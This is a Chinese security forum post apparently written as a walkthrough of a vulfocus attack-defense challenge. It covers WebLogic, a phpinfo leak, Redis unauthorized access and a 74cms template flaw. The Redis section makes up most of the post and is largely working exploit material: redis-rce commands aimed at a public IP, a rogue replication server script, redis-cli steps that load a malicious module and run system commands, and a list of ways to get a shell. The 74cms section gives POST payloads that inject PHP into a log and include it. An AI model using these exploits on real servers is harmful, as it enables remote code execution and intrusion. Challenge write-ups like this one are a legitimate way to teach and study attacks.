安全矩阵

 找回密码
 立即注册
搜索
查看: 1675|回复: 0

FOFA-攻防挑战

[复制链接]

145

主题

192

帖子

817

积分

高级会员

Rank: 4

积分
817
发表于 2022-7-10 13:00:49 | 显示全部楼层 |阅读模式
FOFA-攻防挑战
记录一下中途短暂的辉煌时刻
编辑
辉煌一刻谁都有,别拿一刻当永久
在昨天初尝战果之后,今天又习惯性的打开 https://vulfocus.cn/ 发现今天还有挑战赛,按捺不住躁动的心,又开始了学习。今天主要拿下的是这四个镜像,同时我也会对我了解的漏洞详情做一个具体的分析
weblogci  CVE_2020_2551我们看到了对应的端口有 7001
编辑
编辑
看到熟悉的界面以及之前察觉的端口信息,感觉有可能是 weblogic ,加上路径 console 查看一下,是 weblogic 10.3.6.0
编辑
weblogic 存在的漏洞太多了,所以我们直接上漏洞扫描工具
编辑
看到了漏洞对应的编号,以及存在的回显链路
编辑

phpinfo 信息泄露打开界面就是一个 phpinfo
编辑
尝试了扫路径,查 phpinfo 漏洞的操作无果后,于是直接在页面上查找关键词 flag
编辑
轻易就查询到了 flag 的值,这个题目给 5 分 我是没有想到的
Redis 未授权访问漏洞
编辑

一看对应映射的端口是 6379 立马就联想到了 Redis,同时这个端口无法从 web 端进行访问,所以基本可以肯定是 Redis 了
编辑
注意到版本是 4.0.14
针对于 Redis 未授权访问漏洞,有以下利用方法
  •         利用 Redis 写入webshell
  •         写 ssh-keygen 公钥登录服务器
  •         利用计划任务反弹shell
  •         利用主从复制获取shell

这里我们选用 主从复制漏洞来获取shell
在服务器上操作(今天借到了服务器)
  1. git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
  2. cd RedisModules-ExecuteCommand/
  3. make
  4. # 生成 /RedisModules-ExecuteCommand/src/module.so
  5. cd ..
  6. git clone https://github.com/Ridter/redis-rce.git
  7. cd redis-rce/
  8. cp ../RedisModules-ExecuteCommand/src/module.so ./
  9. pip install -r requirements.txt
  10. python redis-rce.py  -r 123.58.236.76 -p 57119 -L 43.142.138.251 -f module.so
复制代码


编辑
利用主从复制获取shellRedis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
Linux
在本机上弄的时候出现各种各样的奇葩的问题,给我整破防了,最后我采用了 docker 来进行复现。复现不同的利用都删掉 docker ,重启继续进行。最后发现主从复制的利用版本是 4.x-5.x,从 6.0开始,就无法利用成功,写入exp.so 也是可以的,module 加载时会失败,提示没有权限,给 exp.so 权限后时可以的。
  1. sudo docker pull vertigo/redis4
  2. sudo docker run -p 6379:6379 vertigo/redis4
复制代码


redis-rce
redis-rce
生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成
  1. git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
  2. cd RedisModules-ExecuteCommand/
  3. make
  4. # 生成 /RedisModules-ExecuteCommand/src/module.so
  5. cd ..
  6. git clone https://github.com/Ridter/redis-rce.git
  7. cd redis-rce/
  8. cp ../RedisModules-ExecuteCommand/src/module.so ./
  9. pip install -r requirements.txt
  10. python redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so
复制代码


编辑

  1. <p>redis-rogue-server</p>

  2. <p>redis-rogue-server</p>

  3. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="13" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false">
  4. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22git%C2%A0clone%C2%A0https%3A%2F%2Fgithub.com%2Fn0b0dyCN%2Fredis-rogue-server.git%5Cncd%C2%A0redis-rogue-serve%5Cnpython3%C2%A0redis-rogue-server.py%C2%A0--rhost%C2%A0192.168.10.187%C2%A0--lhost%C2%A0192.168.10.1%5Cn%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">git clone https://github.com/n0b0dyCN/redis-rogue-server.git
  5. cd redis-rogue-serve
  6. python3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1</code></pre></div>
复制代码


编辑
Redis主从复制手动挡
  1. import socket
  2. from time import sleep
  3. from optparse import OptionParser

  4. def RogueServer(lport):
  5.     resp = ""
  6.     sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  7.     sock.bind(("0.0.0.0",lport))
  8.     sock.listen(10)
  9.     conn,address = sock.accept()  
  10.     sleep(5)
  11.     while True:
  12.         data = conn.recv(1024)
  13.         if "PING" in data:
  14.             resp="+PONG"+CLRF
  15.             conn.send(resp)
  16.         elif "REPLCONF" in data:
  17.             resp="+OK"+CLRF
  18.             conn.send(resp)
  19.         elif "PSYNC" in data or "SYNC" in data:
  20.             resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
  21.             resp += "$" + str(len(payload)) + CLRF
  22.             resp = resp.encode()
  23.             resp += payload + CLRF.encode()
  24.             if type(resp) != bytes:
  25.                 resp =resp.encode()      
  26.             conn.send(resp)
  27.         #elif "exit" in data:
  28.             break



  29. if __name__=="__main__":

  30.     parser = OptionParser()               
  31.     parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")   
  32.     parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")      

  33.     (options , args )= parser.parse_args()
  34.     lport = options.lp
  35.     exp_filename = options.exp

  36.     CLRF="\r\n"
  37.     payload=open(exp_filename,"rb").read()
  38.     print "Start listing on port: %s" %lport
  39.     print "Load the payload:   %s" %exp_filename  
  40.     RogueServer(lport)
复制代码


编辑
  1. redis-cli -h 192.168.10.187
  2. > ping
  3. > config set dir ./               # 设置redis的备份路径为当前目录
  4. > config set dbfilename exp.so    # 设置备份文件名为exp.so,默认为dump.rdb
  5. > slaveof 192.168.10.1 9999       # 设置主服务器IP和端口
  6. > module load ./exp.so            # 加载恶意模块
  7. > slaveof no one                  # 切断主从,关闭复制功能
  8. > system.exec 'whoami'            # 执行系统命令
  9. > config set dbfilename dump.rdb  # 通过dump.rdb文件恢复数据
  10. > system.exec 'rm ./exp.so'       # 删除exp.so
  11. > module unload system            # 卸载system模块的加载
复制代码


编辑
windows
Redis 官方没有提供 windows 版的安装包,windows 下使用的 Redis 还是 3.X 版本的。redis 在写文件的时候会有一些版本信息以及脏数据,无法写出正常的DLL、EXE、LINK 等文件,所以 对 Windows 下的 redis 的利用方法主要是往 web 目录写马以及写启动项。
RedisWriteFile
RedisWriteFile 利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave, master 数据空间保证绝对干净,轻松实现了写无损文件。
参考文章 对 Redis 在 Windows 下的利用方式思考  踩坑记录-Redis(Windows)的getshell可以利用以下方式
  •         系统 DLL劫持 (目标重启或注销)
  •         针对特定软件的 DLL 劫持(目标一次点击)
  •         覆写目标的快捷方式 (目标一次点击)
  •         覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)
  •         覆写 sethc.exe 等文件 (攻击方一次触发)
  •         mof 等

因为对这些暂时还没有研究,所以在这里只演示以下,在 windows redis 写无损文件
  1. python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]

  2. python3 RedisWriteFile.py --rhost=192.168.10.190 --rport=6379 --lhost=192.168.10.1  --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt"  --lfile="test.txt"
复制代码


编辑
编辑
哇,这个无损写文件真是 yyds,在 linux 下利用也是没有一点问题。
骑士cms 存在模板解析漏洞打开页面就是 骑士cms,想到了骑士 cms 的历史漏洞 文件包含漏洞(thinkphp3 的文件包含)
编辑
这样操作
  1. http://74cms.test/index.php?m=home&c=index&a=assign_resume_tpl
  2. POST:
  3. variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>



  4. http://74cms.test/index.php?m=home&c=index&a=assign_resume_tpl
  5. POST:
  6. variable=1&tpl=data/Runtime/Logs/Home/22_06_28.log
复制代码



编辑

编辑
编辑

漏洞的原理主要是通过将代码通过报错信息写到日志文件中,再利用文件包含实现代码执行



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 23:56 , Processed in 0.013659 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表